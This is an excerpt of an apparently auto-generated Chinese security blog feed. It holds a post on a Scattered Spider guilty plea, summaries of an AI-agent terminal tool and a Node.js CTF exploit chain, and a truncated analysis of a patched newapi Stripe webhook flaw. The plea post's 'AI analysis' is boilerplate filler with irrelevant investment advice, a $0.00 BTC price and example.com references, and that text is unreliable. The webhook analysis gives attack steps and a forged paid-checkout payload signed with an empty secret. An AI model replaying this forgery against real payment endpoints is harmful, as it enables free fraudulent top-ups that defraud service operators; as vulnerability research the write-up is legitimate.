&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-05-07T06:01:00.005499+00:00&lt;/em&gt;&lt;/p&gt;</description></item><item><title>‘Scattered Spider’ Member ‘Tylerb’ Pleads Guilty</title><link>https://blog.7qiang.com/posts/auto-security-20260505-5/</link><pubDate>Tue, 05 May 2026 12:15:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260505-5/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post ‘Scattered Spider’ Member ‘Tylerb’ Pleads Guilty" /&gt;&lt;h1 id="scattered-spider-member-tylerb-pleads-guilty"&gt;‘Scattered Spider’ Member ‘Tylerb’ Pleads Guilty
&lt;/h1&gt;
 &lt;blockquote&gt;
 &lt;p&gt;📅 &lt;strong&gt;发布时间&lt;/strong&gt;：2026-05-05 12:15
⏱️ &lt;strong&gt;阅读时间&lt;/strong&gt;：10-15 分钟
📰 &lt;strong&gt;来源&lt;/strong&gt;：Krebs on Security
🔗 &lt;strong&gt;原文链接&lt;/strong&gt;：https://krebsonsecurity.com/2026/04/scattered-spider-member-tylerb-pleads-guilty/
🤖 &lt;strong&gt;创作&lt;/strong&gt;：AI Agent + 红队 Agent 联合&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-新闻摘要--news-summary"&gt;📋 新闻摘要 / News Summary
&lt;/h2&gt;&lt;p&gt;A 24-year-old British national and senior member of the cybercrime group “Scattered Spider” has pleaded guilty to wire fraud conspiracy and aggravated identity theft. Tyler Robert Buchanan admitted his role in a series of text-message phishing attacks in the summer of 2022 that allowed the group to hack into at least a dozen major technology companies and steal tens of millions of dollars worth of cryptocurrency from investors.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;情感分析&lt;/strong&gt;：security_alert&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="-ai-agent-分析"&gt;🤖 AI Agent 分析
&lt;/h2&gt;&lt;h3 id="技术背景"&gt;技术背景
&lt;/h3&gt;&lt;p&gt;从 AI 技术角度分析，这一事件反映了以下趋势：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;技术演进方向&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前技术发展正处于关键节点&lt;/li&gt;
&lt;li&gt;相关技术栈正在快速迭代&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;行业影响&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对现有工作流程的潜在改变&lt;/li&gt;
&lt;li&gt;新的机会和挑战并存&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;应用前景&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实际落地场景分析&lt;/li&gt;
&lt;li&gt;可能的商业化路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="数据洞察"&gt;数据洞察
&lt;/h3&gt;&lt;p&gt;基于历史数据和市场表现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;短期影响&lt;/strong&gt;：需要关注接下来 24-48 小时的市场反应&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中期趋势&lt;/strong&gt;：1-3 个月内的技术 adoption 曲线&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;长期价值&lt;/strong&gt;：6-12 个月的行业格局变化&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="-红队-agent-安全视角"&gt;🔒 红队 Agent 安全视角
&lt;/h2&gt;&lt;h3 id="潜在风险点"&gt;潜在风险点
&lt;/h3&gt;&lt;p&gt;作为安全研究人员，我们需要关注：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;技术风险&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;新技术可能引入的安全漏洞&lt;/li&gt;
&lt;li&gt;依赖链中的潜在弱点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;操作风险&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实施过程中的常见错误&lt;/li&gt;
&lt;li&gt;配置不当导致的问题&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;合规风险&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;相关法规要求&lt;/li&gt;
&lt;li&gt;最佳实践建议&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="防御建议"&gt;防御建议
&lt;/h3&gt;&lt;p&gt;基于红队经验，建议采取以下措施：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 安全检查清单
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- [ ] 验证所有输入
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- [ ] 启用日志审计
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- [ ] 配置访问控制
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- [ ] 定期安全扫描
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- [ ] 制定应急响应计划
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="-实战经验总结"&gt;💡 实战经验总结
&lt;/h2&gt;&lt;h3 id="案例参考"&gt;案例参考
&lt;/h3&gt;&lt;p&gt;类似事件的历史案例分析：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;成功案例&lt;/strong&gt;：哪些项目/公司抓住了机会&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;失败教训&lt;/strong&gt;：哪些玩家错过了风口或踩了坑&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="行动建议"&gt;行动建议
&lt;/h3&gt;&lt;p&gt;基于以上分析，建议：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对于投资者&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关注相关项目的技术进展&lt;/li&gt;
&lt;li&gt;分散投资，控制风险&lt;/li&gt;
&lt;li&gt;设置合理的止盈止损&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;对于开发者&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;学习相关技术栈&lt;/li&gt;
&lt;li&gt;参与开源项目&lt;/li&gt;
&lt;li&gt;建立个人技术品牌&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;对于企业&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;评估技术引入的可行性&lt;/li&gt;
&lt;li&gt;制定迁移/升级计划&lt;/li&gt;
&lt;li&gt;培训团队技能&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="-关键指标监控"&gt;📊 关键指标监控
&lt;/h2&gt;&lt;p&gt;建议持续关注以下指标：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;指标&lt;/th&gt;
 &lt;th&gt;当前值&lt;/th&gt;
 &lt;th&gt;警戒线&lt;/th&gt;
 &lt;th&gt;状态&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;市场情绪&lt;/td&gt;
 &lt;td&gt;security_alert&lt;/td&gt;
 &lt;td&gt;-&lt;/td&gt;
 &lt;td&gt;🟡&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;技术成熟度&lt;/td&gt;
 &lt;td&gt;发展中&lt;/td&gt;
 &lt;td&gt;-&lt;/td&gt;
 &lt;td&gt;🟢&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;安全风险&lt;/td&gt;
 &lt;td&gt;中等&lt;/td&gt;
 &lt;td&gt;高&lt;/td&gt;
 &lt;td&gt;🟢&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="-参考资料"&gt;🔗 参考资料
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;a class="link" href="https://krebsonsecurity.com/2026/04/scattered-spider-member-tylerb-pleads-guilty/" target="_blank" rel="noopener"
 &gt;原始新闻&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://example.com" target="_blank" rel="noopener"
 &gt;相关技术文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://example.com" target="_blank" rel="noopener"
 &gt;安全最佳实践&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;本文由 AI Agent + 红队 Agent 联合创作&lt;/em&gt;
&lt;em&gt;发布于：2026-05-05 12:15 UTC&lt;/em&gt;&lt;/p&gt;</description></item><item><title>interactive-process-mcp：让 AI Agent 拥有交互式终端能力</title><link>https://blog.7qiang.com/posts/auto-security-20260428-357/</link><pubDate>Tue, 28 Apr 2026 09:00:34 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260428-357/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post interactive-process-mcp：让 AI Agent 拥有交互式终端能力" /&gt;&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;当我们在终端里工作时，大量操作本质上是多轮交互的过程——SSH 登录服务器需要先输入密码，再执行命令；Python REPL 中逐行调试代码，每一步都依赖上一步的结果；交互式安装程序不时弹出 [Y/n] 提示等待回应。这些场景对人类来说稀松平常，但对于 AI Agent 而言却是一道难题：它们原生只能执行一次性命令，运行完毕立刻返回结果，无法在多个对话轮次中持续地读写同一个进程。
intera&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: interactive-process-mcp：让 AI Agent 拥有交互式终端能力&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/92043" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92043&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-04-27 14:56:03&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;当我们在终端里工作时，大量操作本质上是多轮交互的过程——SSH 登录服务器需要先输入密码，再执行命令；Python REPL 中逐行调试代码，每一步都依赖上一步的结果；交互式安装程序不时弹出 [Y/n] 提示等待回应。这些场景对人类来说稀松平常，但对于 AI Agent 而言却是一道难题：它们原生只能执行一次性命令，运行完毕立刻返回结果，无法在多个对话轮次中持续地读写同一个进程。
intera&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/92043" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92043&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-28T09:00:34.001246&lt;/em&gt;&lt;/p&gt;</description></item><item><title>软件系统安全赛2026分区赛 Web NodeJs</title><link>https://blog.7qiang.com/posts/auto-security-20260422-794/</link><pubDate>Wed, 22 Apr 2026 06:00:53 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260422-794/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 软件系统安全赛2026分区赛 Web NodeJs" /&gt;&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;该文章介绍了一道 Node.js CTF 题目的解题思路：攻击者首先利用 /changepassword 接口的 merge() 函数原型链污染漏洞，注入 isAdmin: true 提权为管理员；随后通过 CVE-2026-22709 绕过 vm2 沙箱执行任意命令；最后利用 root 权限的 /backup.sh 定时脚本，将 /flag 内容写入静态目录实现读取。核心链：原型污染提权 → v&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: 软件系统安全赛2026分区赛 Web NodeJs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/91998" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91998&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-04-19 13:29:29&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;该文章介绍了一道 Node.js CTF 题目的解题思路：攻击者首先利用 /changepassword 接口的 merge() 函数原型链污染漏洞，注入 isAdmin: true 提权为管理员；随后通过 CVE-2026-22709 绕过 vm2 沙箱执行任意命令；最后利用 root 权限的 /backup.sh 定时脚本，将 /flag 内容写入静态目录实现读取。核心链：原型污染提权 → v&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/91998" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91998&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-22T06:00:53.081735&lt;/em&gt;&lt;/p&gt;</description></item><item><title>newapi Stripe Webhook 充值漏洞深度分析 - 空密钥绕过支付验证</title><link>https://blog.7qiang.com/posts/newapi-stripe-webhook-vulnerability-analysis/</link><pubDate>Thu, 16 Apr 2026 05:07:00 +0000</pubDate><guid>https://blog.7qiang.com/posts/newapi-stripe-webhook-vulnerability-analysis/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post newapi Stripe Webhook 充值漏洞深度分析 - 空密钥绕过支付验证" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 时效性提醒（2026-07 更新）&lt;/strong&gt;：该漏洞已在 newapi v0.12.10 中修复。如果你正在使用 newapi，请确认已升级到修复版本。本文保留仅供支付安全设计参考。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="漏洞概述"&gt;漏洞概述
&lt;/h2&gt;&lt;p&gt;2026 年 4 月 16 日，LINUX DO 社区用户披露了 newapi 项目中的一个严重充值漏洞。攻击者可在未配置 Stripe 密钥的情况下，通过伪造签名绕过支付验证，实现&lt;strong&gt;零成本任意金额充值&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;影响版本&lt;/strong&gt;：v0.12.10 之前
&lt;strong&gt;修复版本&lt;/strong&gt;：v0.12.10
&lt;strong&gt;漏洞类型&lt;/strong&gt;：签名验证绕过 / 支付逻辑缺陷
&lt;strong&gt;风险等级&lt;/strong&gt;：🔴 严重（直接资金损失）&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="攻击流程详解"&gt;攻击流程详解
&lt;/h2&gt;&lt;h3 id="第一阶段信息收集"&gt;第一阶段：信息收集
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. 发现目标暴露了 Stripe Webhook 端点 /api/stripe/webhook
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. 通过初始审计（或黑盒探测）确认服务端使用了空的 StripeWebhookSecret
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. 获取或猜测 client_reference_id 的格式（如 USR + 数字 + 随机字符串 + 时间戳）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;攻击者首先识别出目标的 Webhook 端点，并探测到服务端未正确配置 &lt;code&gt;webhook_secret&lt;/code&gt;（空字符串）。这是漏洞利用的关键前提。&lt;/p&gt;
&lt;h3 id="第二阶段伪造签名"&gt;第二阶段：伪造签名
&lt;/h3&gt;&lt;p&gt;Stripe 的签名机制：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;signed_payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{timestamp}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="si"&gt;{json_body}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HMAC&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;webhook_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signed_payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;t=&lt;/span&gt;&lt;span class="si"&gt;{timestamp}&lt;/span&gt;&lt;span class="s2"&gt;,v1=&lt;/span&gt;&lt;span class="si"&gt;{v1}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;当 webhook_secret = “&amp;quot;（空字符串）时：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HMAC-SHA256 不会报错，正常计算&lt;/li&gt;
&lt;li&gt;任何人都能对任意 payload 算出与服务端一致的签名&lt;/li&gt;
&lt;li&gt;服务端调用 &lt;code&gt;webhook.ConstructEventWithOptions()&lt;/code&gt; 验签 → &lt;strong&gt;通过 ✅&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这是整个漏洞的核心：&lt;strong&gt;空密钥仍能通过 HMAC 计算，导致签名验证形同虚设&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="第三阶段构造恶意事件"&gt;第三阶段：构造恶意事件
&lt;/h3&gt;&lt;p&gt;伪造一个 &lt;code&gt;checkout.session.completed&lt;/code&gt; 事件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;checkout.session.completed&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;object&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;client_reference_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;目标用户/订单 ID&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;status&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;complete&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;payment_status&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;paid&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;amount_total&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;任意金额&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;攻击者可指定任意 &lt;code&gt;client_reference_id&lt;/code&gt; 和 &lt;code&gt;amount_total&lt;/code&gt;，实现定向充值和任意金额。&lt;/p&gt;
&lt;h3 id="第四阶段发送请求"&gt;第四阶段：发送请求
&lt;/h3&gt;&lt;p&gt;向 Webhook 端点发送带有伪造签名的 POST 请求，服务端处理流程：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;收到请求
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;用空密钥验签 → 通过 ✅
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;解析事件类型 → checkout.session.completed
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;读取 client_reference_id 查找订单
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;标记订单已支付，给用户充值
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="第五阶段结果"&gt;第五阶段：结果
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;项目&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;用户余额&lt;/td&gt;
 &lt;td&gt;被充入攻击者指定的金额&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Stripe 实际收款&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;$0&lt;/strong&gt;（从未发生真实支付）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Stripe Dashboard&lt;/td&gt;
 &lt;td&gt;无对应交易记录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;服务端日志&lt;/td&gt;
 &lt;td&gt;看起来像正常的 Webhook 回调&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="技术原理分析"&gt;技术原理分析
&lt;/h2&gt;&lt;h3 id="为什么空密钥能通过验签"&gt;为什么空密钥能通过验签？
&lt;/h3&gt;&lt;p&gt;HMAC-SHA256 算法本身&lt;strong&gt;不验证密钥长度&lt;/strong&gt;。当密钥为空字符串时：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hmac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hashlib&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 空密钥仍能计算&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
